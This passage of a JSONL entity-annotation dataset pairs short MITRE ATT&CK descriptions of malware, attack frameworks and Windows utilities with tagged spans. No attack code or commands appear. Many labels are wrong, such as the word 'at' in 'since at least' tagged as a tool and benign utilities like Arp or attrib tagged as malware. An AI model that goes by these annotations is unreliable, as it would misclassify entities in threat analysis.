"mitre_attack_v2", "mitre_id": "S1248"}} {"text": "Small Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n\nSecurity researchers have also noted Small Sieve's use by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: Small Sieve": [[0, 11], [241, 252]], "SYSTEM: Telegram": [[17, 25]], "SYSTEM: API": [[30, 33]], "SYSTEM: Python": [[40, 46]], "THREAT_ACTOR: MuddyWater": [[163, 173], [300, 310]], "TOOL: at": [[180, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1035"}} {"text": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.", "spans": {"MALWARE: Flame": [[0, 5]], "TOOL: at": [[81, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0143"}} {"text": "HermeticWizard is a worm that has been used to spread HermeticWiper in attacks against organizations in Ukraine since at least 2022.", "spans": {"MALWARE: HermeticWizard": [[0, 14]], "MALWARE: HermeticWiper": [[54, 67]], "TOOL: at": [[118, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0698"}} {"text": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. \n\nNet has a great deal of functionality, much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through SMB/Windows Admin Shares using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.", "spans": {"TOOL: Net": [[4, 7], [169, 172]], "SYSTEM: Windows": [[38, 45], [344, 351]], "SYSTEM: SMB": [[340, 343]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0039"}} {"text": "RemoteUtilities is a legitimate remote administration tool that has been used by MuddyWater since at least 2021 for execution on target machines.", "spans": {"MALWARE: RemoteUtilities": [[0, 15]], "THREAT_ACTOR: MuddyWater": [[81, 91]], "TOOL: at": [[98, 100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0592"}} {"text": "Covenant is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as HAFNIUM during operations. Covenant functions through a central listener managing multiple deployed \"Grunts\" that communicate back to the controller.", "spans": {"MALWARE: Covenant": [[0, 8], [218, 226]], "SYSTEM: .NET": [[70, 74]], "THREAT_ACTOR: HAFNIUM": [[191, 198]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1155"}} {"text": "NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.", "spans": {"SYSTEM: Windows": [[120, 127]], "SYSTEM: API": [[164, 167]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1131"}} {"text": "BloodHound is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.", "spans": {"TOOL: BloodHound": [[0, 10]], "SYSTEM: Active Directory": [[17, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0521"}} {"text": "certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.", "spans": {"TOOL: certutil": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0160"}} {"text": "at is used to schedule tasks on a system to run at a specified date or time.", "spans": {"TOOL: at": [[0, 2], [48, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0110"}} {"text": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.", "spans": {"MALWARE: UACMe": [[0, 5]], "SYSTEM: Windows": [[81, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0116"}} {"text": "ShimRatReporter is a tool used by suspected Chinese adversary Mofang to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as ShimRat) as well as set up faux infrastructure which mimics the adversary's targets. ShimRatReporter has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.", "spans": {"MALWARE: ShimRatReporter": [[0, 15], [280, 295]], "THREAT_ACTOR: Mofang": [[62, 68]], "MALWARE: ShimRat": [[195, 202]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0445"}} {"text": "Sliver is an open source, cross-platform, red team command and control (C2) framework written in Golang. Sliver includes its own package manager, \"armory,\" for staging and downloading additional tools and payloads to the primary C2 framework.", "spans": {"MALWARE: Sliver": [[0, 6], [105, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0633"}} {"text": "SILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.", "spans": {"MALWARE: SILENTTRINITY": [[0, 13], [171, 184]], "SYSTEM: Python": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0692"}} {"text": "PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration.", "spans": {"TOOL: PowerSploit": [[0, 11]], "TOOL: PowerShell": [[73, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0194"}} {"text": "Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.", "spans": {"SYSTEM: AWS": [[23, 26]], "SYSTEM: Python": [[74, 80]], "SYSTEM: GitHub": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1091"}} {"text": "Windows Credential Editor is a password dumping tool.", "spans": {"TOOL: Windows Credential Editor": [[0, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0005"}} {"text": "Impacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. Impacket contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.", "spans": {"TOOL: Impacket": [[0, 8], [137, 145]], "SYSTEM: Python": [[60, 66]], "SYSTEM: Kerberos": [[199, 207]], "SYSTEM: Windows": [[222, 229]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0357"}} {"text": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.", "spans": {"TOOL: ipconfig": [[0, 8]], "SYSTEM: Windows": [[14, 21]], "SYSTEM: DNS": [[92, 95]], "SYSTEM: DHCP": [[97, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0100"}} {"text": "AADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.", "spans": {"MALWARE: AADInternals": [[0, 12]], "TOOL: PowerShell": [[18, 28]], "SYSTEM: Azure Active Directory": [[92, 114]], "SYSTEM: GitHub": [[150, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0677"}} {"text": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.", "spans": {"TOOL: Tasklist": [[4, 12]], "SYSTEM: Windows": [[177, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0057"}} {"text": "ngrok is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. ngrok has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.", "spans": {"TOOL: ngrok": [[0, 5], [160, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0508"}} {"text": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.", "spans": {"MALWARE: Lslsass": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0121"}} {"text": "Arp displays and modifies information about a system's Address Resolution Protocol (ARP) cache.", "spans": {"MALWARE: Arp": [[0, 3]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0099"}} {"text": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET.", "spans": {"MALWARE: spwebmember": [[0, 11]], "ORGANIZATION: Microsoft": [[17, 26]], "SYSTEM: SharePoint": [[27, 37]], "SYSTEM: .NET": [[83, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0227"}} {"text": "Empire is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure PowerShell for Windows and Python for Linux/macOS. Empire was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.", "spans": {"TOOL: Empire": [[0, 6], [287, 293]], "SYSTEM: GitHub": [[125, 131]], "SYSTEM: Python": [[179, 185], [263, 269]], "TOOL: PowerShell": [[236, 246]], "SYSTEM: Windows": [[251, 258]], "SYSTEM: Linux": [[274, 279]], "SYSTEM: macOS": [[280, 285]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0363"}} {"text": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.", "spans": {"TOOL: ifconfig": [[0, 8]], "SYSTEM: Unix": [[14, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0101"}} {"text": "FRP, which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. FRP can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.", "spans": {"MALWARE: FRP": [[0, 3], [187, 190]], "SYSTEM: HTTP": [[246, 250]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1144"}} {"text": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", "spans": {"TOOL: dsquery": [[0, 7]], "SYSTEM: Active Directory": [[60, 76]], "SYSTEM: Windows Server": [[159, 173]], "ORGANIZATION: Microsoft": [[239, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0105"}} {"text": "PcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.", "spans": {"MALWARE: PcShare": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1050"}} {"text": "RawDisk is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.", "spans": {"MALWARE: RawDisk": [[0, 7]], "SYSTEM: Windows": [[320, 327]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0364"}} {"text": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.", "spans": {"TOOL: netstat": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0104"}} {"text": "PoshC2 is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in PowerShell. Although PoshC2 is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.", "spans": {"MALWARE: PoshC2": [[0, 6], [244, 250]], "SYSTEM: GitHub": [[109, 115]], "SYSTEM: Python": [[181, 187], [321, 327]], "TOOL: PowerShell": [[223, 233]], "SYSTEM: Windows": [[275, 282]], "SYSTEM: Linux": [[340, 345]], "SYSTEM: macOS": [[346, 351]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0378"}} {"text": "Fgdump is a Windows password hash dumper.", "spans": {"MALWARE: Fgdump": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0120"}} {"text": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.", "spans": {"MALWARE: xCmd": [[0, 4]], "TOOL: PsExec": [[47, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0123"}} {"text": "CSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.", "spans": {"MALWARE: CSPY Downloader": [[0, 15]], "THREAT_ACTOR: Kimsuky": [[94, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0527"}} {"text": "Rclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.", "spans": {"MALWARE: Rclone": [[0, 6], [131, 137]], "SYSTEM: Dropbox": [[87, 94]], "SYSTEM: Google Drive": [[96, 108]], "ORGANIZATION: Amazon": [[110, 116]], "SYSTEM: S3": [[117, 119]], "MALWARE: Conti": [[225, 230]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1040"}} {"text": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms.", "spans": {"MALWARE: MimiPenguin": [[0, 11]], "TOOL: Mimikatz": [[47, 55]], "SYSTEM: Linux": [[83, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0179"}} {"text": "netsh is a scripting utility used to interact with networking components on local or remote systems.", "spans": {"TOOL: netsh": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0108"}} {"text": "CARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.", "spans": {"MALWARE: CARROTBALL": [[0, 10], [82, 92]], "TOOL: FTP": [[17, 20]], "TOOL: at": [[67, 69]], "MALWARE: SYSCON": [[134, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0465"}} {"text": "BITSAdmin is a command line tool used to create and manage BITS Jobs.", "spans": {"MALWARE: BITSAdmin": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0190"}} {"text": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.", "spans": {"MALWARE: meek": [[0, 4]], "TOOL: Tor": [[23, 26], [47, 50]], "SYSTEM: HTTPS": [[67, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0175"}} {"text": "AsyncRAT is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.", "spans": {"MALWARE: AsyncRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1087"}} {"text": "ROADTools is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.", "spans": {"MALWARE: ROADTools": [[0, 9]], "SYSTEM: Azure Active Directory": [[41, 63]], "SYSTEM: Python": [[101, 107]], "SYSTEM: GitHub": [[134, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0684"}} {"text": "Brute Ratel C4 is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. Brute Ratel C4 was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.", "spans": {"MALWARE: Brute Ratel C4": [[0, 14], [120, 134], [427, 441]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1063"}} {"text": "Peirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.", "spans": {"MALWARE: Peirates": [[0, 8]], "SYSTEM: Kubernetes": [[32, 42]], "SYSTEM: GitHub": [[218, 224]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0683"}} {"text": "Remcos is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. Remcos has been observed being used in malware campaigns.", "spans": {"MALWARE: Remcos": [[0, 6], [133, 139]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0332"}} {"text": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.", "spans": {"MALWARE: Systeminfo": [[0, 10]], "SYSTEM: Windows": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0096"}} {"text": "Out1 is a remote access tool written in python and used by MuddyWater since at least 2021.", "spans": {"MALWARE: Out1": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[59, 69]], "TOOL: at": [[76, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0594"}} {"text": "ConnectWise is a legitimate remote administration tool that has been used since at least 2016 by threat actors including MuddyWater and GOLD SOUTHFIELD to connect to and conduct lateral movement in target environments.", "spans": {"MALWARE: ConnectWise": [[0, 11]], "TOOL: at": [[80, 82]], "THREAT_ACTOR: MuddyWater": [[121, 131]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[136, 151]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0591"}} {"text": "attrib is a Windows utility used to display, set or remove attributes assigned to files or directories.", "spans": {"MALWARE: attrib": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1176"}} {"text": "Imminent Monitor was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.", "spans": {"MALWARE: Imminent Monitor": [[0, 16], [146, 162]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0434"}} {"text": "Ruler is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of Ruler have also released a defensive tool, NotRuler, to detect its usage.", "spans": {"MALWARE: Ruler": [[0, 5], [152, 157]], "ORGANIZATION: Microsoft": [[25, 34]], "SYSTEM: Exchange": [[35, 43]], "SYSTEM: GitHub": [[82, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0358"}} {"text": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts.", "spans": {"MALWARE: Forfiles": [[0, 8], [220, 228]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0193"}} {"text": "Winexe is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. Winexe is unique in that it is a GNU/Linux based client.", "spans": {"MALWARE: Winexe": [[0, 6], [140, 146]], "TOOL: PsExec": [[53, 59]], "SYSTEM: Linux": [[177, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0191"}} {"text": "MCMD is a remote access tool that provides remote command shell capability used by Dragonfly 2.0.", "spans": {"MALWARE: MCMD": [[0, 4]], "THREAT_ACTOR: Dragonfly 2.0": [[83, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0500"}} {"text": "Nltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.", "spans": {"TOOL: Nltest": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0359"}} {"text": "MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.", "spans": {"ORGANIZATION: Microsoft": [[74, 83]], "SYSTEM: Exchange": [[84, 92], [272, 280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0413"}} {"text": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws.", "spans": {"TOOL: sqlmap": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0225"}} {"text": "pwdump is a credential dumper.", "spans": {"TOOL: pwdump": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0006"}} {"text": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.", "spans": {"TOOL: Responder": [[0, 9]], "SYSTEM: HTTP": [[90, 94], [209, 213]], "SYSTEM: SMB": [[95, 98]], "TOOL: FTP": [[105, 108]], "SYSTEM: LDAP": [[109, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0174"}} {"text": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.", "spans": {"MALWARE: Pass-The-Hash Toolkit": [[0, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0122"}} {"text": "Donut is an open source framework used to generate position-independent shellcode. Donut generated code has been used by multiple threat actors to inject and load malicious payloads into memory.", "spans": {"MALWARE: Donut": [[0, 5], [83, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0695"}} {"text": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.", "spans": {"TOOL: Mimikatz": [[0, 8]], "SYSTEM: Windows": [[63, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0002"}} {"text": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.", "spans": {"TOOL: gsecdump": [[0, 8]], "SYSTEM: Windows": [[103, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0008"}} {"text": "IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", "spans": {"MALWARE: IronNetInjector": [[0, 15]], "THREAT_ACTOR: Turla": [[21, 26]], "SYSTEM: Python": [[109, 115]], "SYSTEM: .NET": [[123, 127]], "MALWARE: ComRAT": [[176, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0581"}} {"text": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.", "spans": {"MALWARE: nbtstat": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0102"}} {"text": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords.", "spans": {"MALWARE: Invoke-PSImage": [[0, 14]], "TOOL: PowerShell": [[23, 33], [217, 227], [402, 412]], "TOOL: Mimikatz": [[249, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0231"}} {"text": "NBTscan is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.", "spans": {"TOOL: NBTscan": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0590"}} {"text": "LaZagne is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. LaZagne is publicly available on GitHub.", "spans": {"TOOL: LaZagne": [[0, 7], [181, 188]], "SYSTEM: Windows": [[114, 121], [164, 171]], "SYSTEM: Linux": [[123, 128]], "SYSTEM: GitHub": [[214, 220]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0349"}} {"text": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.", "spans": {"TOOL: Ping": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0097"}} {"text": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. \n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir ), deleting files (e.g., del ), and copying files (e.g., copy ).", "spans": {"TOOL: cmd": [[0, 3]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0106"}} {"text": "route can be used to find or change information within the local system IP routing table.", "spans": {"TOOL: route": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0103"}} {"text": "esentutl is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.", "spans": {"MALWARE: esentutl": [[0, 8]], "SYSTEM: Windows": [[73, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0404"}} {"text": "CrackMapExec, or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. CrackMapExec collects Active Directory information to conduct lateral movement through targeted networks.", "spans": {"TOOL: CrackMapExec": [[0, 12], [125, 137]], "SYSTEM: Python": [[63, 69]], "SYSTEM: Active Directory": [[147, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0488"}} {"text": "Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.", "spans": {"TOOL: Koadic": [[0, 6], [115, 121]], "SYSTEM: Windows": [[12, 19], [228, 235]], "SYSTEM: GitHub": [[107, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0250"}} {"text": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.", "spans": {"TOOL: schtasks": [[0, 8]], "SYSTEM: Windows": [[67, 74]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0111"}} {"text": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.", "spans": {"MALWARE: Cachedump": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0119"}} {"text": "Expand is a Windows utility used to expand one or more compressed CAB files. It has been used by BBSRAT to decompress a CAB file into executable content.", "spans": {"MALWARE: Expand": [[0, 6]], "SYSTEM: Windows": [[12, 19]], "MALWARE: BBSRAT": [[97, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0361"}} {"text": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). Pupy is publicly available on GitHub.", "spans": {"TOOL: Pupy": [[0, 4], [296, 300]], "SYSTEM: Windows": [[40, 47], [206, 213]], "SYSTEM: Linux": [[49, 54], [258, 263]], "SYSTEM: Android": [[61, 68]], "SYSTEM: Python": [[138, 144], [219, 225]], "TOOL: PowerShell": [[232, 242]], "SYSTEM: GitHub": [[326, 332]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0192"}} {"text": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. \n\nUtilities such as Reg are known to be used by persistent threats.", "spans": {"TOOL: Reg": [[0, 3], [181, 184]], "SYSTEM: Windows": [[9, 16]], "SYSTEM: Windows Registry": [[51, 67]], "TOOL: at": [[84, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0075"}} {"text": "ftp is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.", "spans": {"MALWARE: ftp": [[0, 3]], "TOOL: FTP": [[116, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0095"}} {"text": "Mythic is an open source, cross-platform post-exploitation/command and control platform. Mythic is designed to \"plug-n-play\" with various agents and communication channels. Deployed Mythic C2 servers have been observed as part of potentially malicious infrastructure.", "spans": {"MALWARE: Mythic": [[0, 6], [89, 95], [182, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0699"}} {"text": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks.", "spans": {"TOOL: HTRAN": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0040"}} {"text": "SDelete is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools.", "spans": {"TOOL: SDelete": [[0, 7]], "ORGANIZATION: Microsoft": [[109, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0195"}} {"text": "QuasarRAT is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. QuasarRAT is developed in the C# language.", "spans": {"TOOL: QuasarRAT": [[0, 9], [112, 121]], "SYSTEM: GitHub": [[84, 90]], "TOOL: at": [[97, 99]], "SYSTEM: C#": [[142, 144]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0262"}} {"text": "cipher.exe is a native Microsoft utility that manages encryption of directories and files on NTFS (New Technology File System) partitions by using the Encrypting File System (EFS).", "spans": {"MALWARE: cipher.exe": [[0, 10]], "ORGANIZATION: Microsoft": [[23, 32]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1205"}} {"text": "Rubeus is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.", "spans": {"TOOL: Rubeus": [[0, 6]], "SYSTEM: C#": [[12, 14]], "SYSTEM: Kerberos": [[40, 48]], "TOOL: at": [[86, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1071"}} {"text": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination.", "spans": {"TOOL: Tor": [[0, 3], [212, 215]], "TOOL: at": [[310, 312]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0183"}} {"text": "AdFind is a free command-line query tool that can be used for gathering information from Active Directory.", "spans": {"MALWARE: AdFind": [[0, 6]], "SYSTEM: Active Directory": [[89, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0552"}} {"text": "Wevtutil is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.", "spans": {"MALWARE: Wevtutil": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0645"}} {"text": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries.", "spans": {"MALWARE: Havij": [[0, 5], [96, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0224"}} {"text": "Quick Assist is a remote assistance tool primarily for Microsoft Windows, although a macOS version also exists. Quick Assist allows for remote screen sharing and, with end user approval, remote control and command execution on the enabling device.", "spans": {"MALWARE: Quick Assist": [[0, 12], 